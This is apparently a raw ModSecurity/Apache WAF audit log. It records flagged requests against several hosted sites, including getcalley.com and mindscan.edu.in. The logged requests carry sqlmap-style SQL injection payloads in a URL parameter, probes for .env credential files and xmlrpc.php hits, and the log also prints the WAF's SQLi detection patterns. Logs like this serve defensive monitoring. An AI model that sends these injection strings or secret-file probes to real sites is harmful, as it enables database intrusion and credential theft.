Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5a40f860-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=181f2d942764726ac211c6b1d4a2f0e41750023404; expires=Sun, 15 Jun 2025 22:36:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5a40f860-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/bootstrap/.env"] [unique_id "aE886x-kH31pk4mNbsU-1AAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023403917959 659718 (- - -) Stopwatch2: 1750023403917959 659718; combined=1900, p1=363, p2=1430, p3=0, p4=0, p5=107, sr=86, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5a40f860-Z-- --2a0fb351-A-- [16/Jun/2025:03:06:50.889651 +0530] aE888lGNm2a2ZAngdHCtqwAAAAc 172.70.240.165 39412 127.0.0.1 7081 --2a0fb351-B-- GET /login-now/?utm_source=%28SELECT%20%28CASE%20WHEN%20%287765%3D2166%29%20THEN%20%27website%27%20ELSE%20%28SELECT%202166%20UNION%20SELECT%201986%29%20END%29%29&utm_medium=top-bar&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.70.240.165 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505348bbea23554-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --2a0fb351-F-- HTTP/1.1 403 Forbidden X-Powered-By: PHP/8.2.28 Pragma: no-cache Cache-Control: no-cache, must-revalidate, private, max-age=0 Expires: Sat, 26 Jul 1997 05:00:00 GMT Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 6630 Connection: close Content-Type: text/html; charset=UTF-8 --2a0fb351-H-- Message: Warning. Pattern match "(?i:(?:[\\x22'`](?:;? ?\\b(?:having|select|union)\\b ?[^\\s]| ?! ?[\\x22'`\\w])|\\b(?:c(?:onnection_id|urrent_user)|database)\\b ?\\(|\\bunion\\b[\\w(\\s]*?select\\b|\\buser ?\\(|\\bschema ?\\(|\\bselect.{0,399}?\\w?\\buser ?\\(|\\binto[\\s+]+(?:dump|o ..." at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "27"] [id "211650"] [rev "12"] [msg "COMODO WAF: Detects MSSQL code execution and information gathering attempts||www.getcalley.com|F|2"] [data "Matched Data: (SELECT (CASE WHEN (7765=2166) THEN 'website' ELSE (SELECT 2166 UNION SELECT 1986) END)) found within MATCHED_VAR: (SELECT (CASE WHEN (7765=2166) THEN 'website' ELSE (SELECT 2166 UNION SELECT 1986) END))"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?:union(?:\\/\\*.{0,399}\\*\\/)?select)" at ARGS:utm_source. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5662"] [id "220150"] [rev "5"] [msg "COMODO WAF: SQL injection vulnerability in Ginkgo CMS 5.0 (CVE-2013-5318)||www.getcalley.com|F|2"] [data "(select(casewhen(7765=2166)then'website'else(select2166unionselect1986)end))"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:[\\\\\\\\x22'`](?:;? ?\\\\\\\\b(?:having|select|union)\\\\\\\\b ?[^\\\\\\\\s]| ?! ?[\\\\\\\\x22'`\\\\\\\\w])|\\\\\\\\b(?:c(?:onnection_id|urrent_user)|database)\\\\\\\\b ?\\\\\\\\(|\\\\\\\\bunion\\\\\\\\b[\\\\\\\\w(\\\\\\\\s]*?select\\\\\\\\b|\\\\\\\\buser ?\\\\\\\\(|\\\\\\\\bschema ?\\\\\\\\(|\\\\\\\\bselect.{0,399}?\\\\\\\\w?\\\\\\\\buser ?\\\\\\\\(|\\\\\\\\binto[\\\\\\\\s+]+(?:dump|o ..." at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "27"] [id "211650"] [rev "12"] [msg "COMODO WAF: Detects MSSQL code execution and information gathering attempts||www.getcalley.com|F|2"] [data "Matched Data: (SELECT (CASE WHEN (7765=2166) THEN 'website' ELSE (SELECT 2166 UNION SELECT 1986) END)) found within MATCHED_VAR: (SELECT (CASE WHEN (7765=2166) THEN 'website' ELSE (SELECT 2166 UNION SELECT 1986) END))"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE888lGNm2a2ZAngdHCtqwAAAAc"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?:union(?:\\\\\\\\/\\\\\\\\*.{0,399}\\\\\\\\*\\\\\\\\/)?select)" at ARGS:utm_source. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5662"] [id "220150"] [rev "5"] [msg "COMODO WAF: SQL injection vulnerability in Ginkgo CMS 5.0 (CVE-2013-5318)||www.getcalley.com|F|2"] [data "(select(casewhen(7765=2166)then'website'else(select2166unionselect1986)end))"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE888lGNm2a2ZAngdHCtqwAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023410822491 67253 (- - -) Stopwatch2: 1750023410822491 67253; combined=4210, p1=355, p2=3706, p3=0, p4=0, p5=148, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2a0fb351-Z-- --072e3604-A-- [16/Jun/2025:03:06:51.454483 +0530] aE8884l8S04UZ4l67-neJQAAAAk 162.158.111.99 39472 127.0.0.1 7081 --072e3604-B-- GET /login-now/?utm_source=%28SELECT%20%28CASE%20WHEN%20%283201%3D3201%29%20THEN%20%27website%27%20ELSE%20%28SELECT%205390%20UNION%20SELECT%208987%29%20END%29%29&utm_medium=top-bar&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.111.99 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505348f6f973731-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --072e3604-F-- HTTP/1.1 403 Forbidden X-Powered-By: PHP/8.2.28 Pragma: no-cache Cache-Control: no-cache, must-revalidate, private, max-age=0 Expires: Sat, 26 Jul 1997 05:00:00 GMT Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 6630 Connection: close Content-Type: text/html; charset=UTF-8 --072e3604-H-- Message: Warning. Pattern match "(?i:(?:[\\x22'`](?:;? ?\\b(?:having|select|union)\\b ?[^\\s]| ?! ?[\\x22'`\\w])|\\b(?:c(?:onnection_id|urrent_user)|database)\\b ?\\(|\\bunion\\b[\\w(\\s]*?select\\b|\\buser ?\\(|\\bschema ?\\(|\\bselect.{0,399}?\\w?\\buser ?\\(|\\binto[\\s+]+(?:dump|o ..." at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "27"] [id "211650"] [rev "12"] [msg "COMODO WAF: Detects MSSQL code execution and information gathering attempts||www.getcalley.com|F|2"] [data "Matched Data: (SELECT (CASE WHEN (3201=3201) THEN 'website' ELSE (SELECT 5390 UNION SELECT 8987) END)) found within MATCHED_VAR: (SELECT (CASE WHEN (3201=3201) THEN 'website' ELSE (SELECT 5390 UNION SELECT 8987) END))"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?:union(?:\\/\\*.{0,399}\\*\\/)?select)" at ARGS:utm_source. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5662"] [id "220150"] [rev "5"] [msg "COMODO WAF: SQL injection vulnerability in Ginkgo CMS 5.0 (CVE-2013-5318)||www.getcalley.com|F|2"] [data "(select(casewhen(3201=3201)then'website'else(select5390unionselect8987)end))"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:[\\\\\\\\x22'`](?:;? ?\\\\\\\\b(?:having|select|union)\\\\\\\\b ?[^\\\\\\\\s]| ?! ?[\\\\\\\\x22'`\\\\\\\\w])|\\\\\\\\b(?:c(?:onnection_id|urrent_user)|database)\\\\\\\\b ?\\\\\\\\(|\\\\\\\\bunion\\\\\\\\b[\\\\\\\\w(\\\\\\\\s]*?select\\\\\\\\b|\\\\\\\\buser ?\\\\\\\\(|\\\\\\\\bschema ?\\\\\\\\(|\\\\\\\\bselect.{0,399}?\\\\\\\\w?\\\\\\\\buser ?\\\\\\\\(|\\\\\\\\binto[\\\\\\\\s+]+(?:dump|o ..." at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "27"] [id "211650"] [rev "12"] [msg "COMODO WAF: Detects MSSQL code execution and information gathering attempts||www.getcalley.com|F|2"] [data "Matched Data: (SELECT (CASE WHEN (3201=3201) THEN 'website' ELSE (SELECT 5390 UNION SELECT 8987) END)) found within MATCHED_VAR: (SELECT (CASE WHEN (3201=3201) THEN 'website' ELSE (SELECT 5390 UNION SELECT 8987) END))"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE8884l8S04UZ4l67-neJQAAAAk"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?:union(?:\\\\\\\\/\\\\\\\\*.{0,399}\\\\\\\\*\\\\\\\\/)?select)" at ARGS:utm_source. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5662"] [id "220150"] [rev "5"] [msg "COMODO WAF: SQL injection vulnerability in Ginkgo CMS 5.0 (CVE-2013-5318)||www.getcalley.com|F|2"] [data "(select(casewhen(3201=3201)then'website'else(select5390unionselect8987)end))"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE8884l8S04UZ4l67-neJQAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023411406049 48528 (- - -) Stopwatch2: 1750023411406049 48528; combined=3689, p1=329, p2=3221, p3=0, p4=0, p5=139, sr=86, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --072e3604-Z-- --77bd1705-A-- [16/Jun/2025:03:06:54.548184 +0530] aE889dkGqt_oHz6gRVdIxQAAAAw 128.199.112.101 39598 127.0.0.1 7081 --77bd1705-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 499 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --77bd1705-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --77bd1705-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE889dkGqt_oHz6gRVdIxQAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023413610532 937708 (- - -) Stopwatch2: 1750023413610532 937708; combined=2411, p1=384, p2=1618, p3=46, p4=64, p5=183, sr=97, sw=116, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --77bd1705-Z-- --f52dc912-A-- [16/Jun/2025:03:06:55.662041 +0530] aE8894l8S04UZ4l67-neKAAAAAk 172.71.172.91 39710 127.0.0.1 7081 --f52dc912-B-- GET /login-now/?utm_source=website%27%29%20AND%205044%3DCAST%28%28CHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28107%29%7C%7CCHR%28106%29%7C%7CCHR%28113%29%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%285044%3D5044%29%20THEN%201%20ELSE%200%20END%29%29%3A%3Atext%7C%7C%28CHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%29%20AS%20NUMERIC%29%20AND%20%28%27mgxc%27%3D%27mgxc&utm_medium=top-bar&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.172.91 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950534a6ff54d375-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --f52dc912-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website)%20AND%205044=CAST((CHR(113)CHR(122)CHR(107)CHR(106)CHR(113))(SELECT%20(CASE%20WHEN%20(5044=5044)%20THEN%201%20ELSE%200%20END))::text(CHR(113)CHR(122)CHR(113)CHR(107)CHR(113))%20AS%20NUMERIC)%20AND%20(mgxc=mgxc&utm_medium=top-bar&utm_campaign=login-now Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --f52dc912-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: (select (case when (5044=5044) then 1 else 0 end)) found within REQUEST_URI: /login-now/?utm_source=website') and 5044=cast((chr(113)||chr(122)||chr(107)||chr(106)||chr(113))||(select (case when (5044=5044) then 1 else 0 end))::text||(chr(113)||chr(122)||chr(113)||chr(107)||chr(113)) as numeric) and ('mgxc'='mgxc&utm_medium=top-bar&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: (select (case when (5044=5044) then 1 else 0 end)) found within REQUEST_URI: /login-now/?utm_source=website') and 5044=cast((chr(113)||chr(122)||chr(107)||chr(106)||chr(113))||(select (case when (5044=5044) then 1 else 0 end))::text||(chr(113)||chr(122)||chr(113)||chr(107)||chr(113)) as numeric) and ('mgxc'='mgxc&utm_medium=top-bar&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE8894l8S04UZ4l67-neKAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023415171153 490983 (- - -) Stopwatch2: 1750023415171153 490983; combined=4001, p1=321, p2=3552, p3=0, p4=0, p5=127, sr=81, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f52dc912-Z-- --a139aa02-A-- [16/Jun/2025:03:06:57.119402 +0530] aE88-ENwpNEMJppxC49RmQAAAAI 162.158.87.236 39778 127.0.0.1 7081 --a139aa02-B-- GET /login-now/?utm_source=website%27%20AND%205044%3DCAST%28%28CHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28107%29%7C%7CCHR%28106%29%7C%7CCHR%28113%29%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%285044%3D5044%29%20THEN%201%20ELSE%200%20END%29%29%3A%3Atext%7C%7C%28CHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%29%20AS%20NUMERIC%29%20AND%20%27zxIh%27%3D%27zxIh&utm_medium=top-bar&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.87.236 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950534b0ffb75c98-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --a139aa02-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website%20AND%205044=CAST((CHR(113)CHR(122)CHR(107)CHR(106)CHR(113))(SELECT%20(CASE%20WHEN%20(5044=5044)%20THEN%201%20ELSE%200%20END))::text(CHR(113)CHR(122)CHR(113)CHR(107)CHR(113))%20AS%20NUMERIC)%20AND%20zxIh=zxIh&utm_medium=top-bar&utm_campaign=login-now Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --a139aa02-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: (select (case when (5044=5044) then 1 else 0 end)) found within REQUEST_URI: /login-now/?utm_source=website' and 5044=cast((chr(113)||chr(122)||chr(107)||chr(106)||chr(113))||(select (case when (5044=5044) then 1 else 0 end))::text||(chr(113)||chr(122)||chr(113)||chr(107)||chr(113)) as numeric) and 'zxih'='zxih&utm_medium=top-bar&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: (select (case when (5044=5044) then 1 else 0 end)) found within REQUEST_URI: /login-now/?utm_source=website' and 5044=cast((chr(113)||chr(122)||chr(107)||chr(106)||chr(113))||(select (case when (5044=5044) then 1 else 0 end))::text||(chr(113)||chr(122)||chr(113)||chr(107)||chr(113)) as numeric) and 'zxih'='zxih&utm_medium=top-bar&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE88-ENwpNEMJppxC49RmQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023416776547 342993 (- - -) Stopwatch2: 1750023416776547 342993; combined=4136, p1=380, p2=3570, p3=0, p4=0, p5=185, sr=100, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a139aa02-Z-- --54b3131f-A-- [16/Jun/2025:03:06:58.479483 +0530] aE88-ce_3eHPNozq0G0OzAAAAAU 185.177.72.210 39826 127.0.0.1 7081 --54b3131f-B-- GET /:8888/environnements/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --54b3131f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d2099b677f57373e3b130c9212d848081750023418; expires=Sun, 15 Jun 2025 22:36:58 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --54b3131f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/environnements/.env"] [unique_id "aE88-ce_3eHPNozq0G0OzAAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023417815220 664369 (- - -) Stopwatch2: 1750023417815220 664369; combined=1700, p1=382, p2=1223, p3=0, p4=0, p5=95, sr=91, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --54b3131f-Z-- --f485bd4c-A-- [16/Jun/2025:03:06:58.517163 +0530] aE88-kNwpNEMJppxC49RmgAAAAI 162.158.94.143 39866 127.0.0.1 7081 --f485bd4c-B-- GET /login-now/?utm_source=website%29%20AND%205044%3DCAST%28%28CHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28107%29%7C%7CCHR%28106%29%7C%7CCHR%28113%29%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%285044%3D5044%29%20THEN%201%20ELSE%200%20END%29%29%3A%3Atext%7C%7C%28CHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%29%20AS%20NUMERIC%29%20AND%20%286638%3D6638&utm_medium=top-bar&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.94.143 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950534ba1c473a91-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --f485bd4c-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website)%20AND%205044=CAST((CHR(113)CHR(122)CHR(107)CHR(106)CHR(113))(SELECT%20(CASE%20WHEN%20(5044=5044)%20THEN%201%20ELSE%200%20END))::text(CHR(113)CHR(122)CHR(113)CHR(107)CHR(113))%20AS%20NUMERIC)%20AND%20(6638=6638&utm_medium=top-bar&utm_campaign=login-now 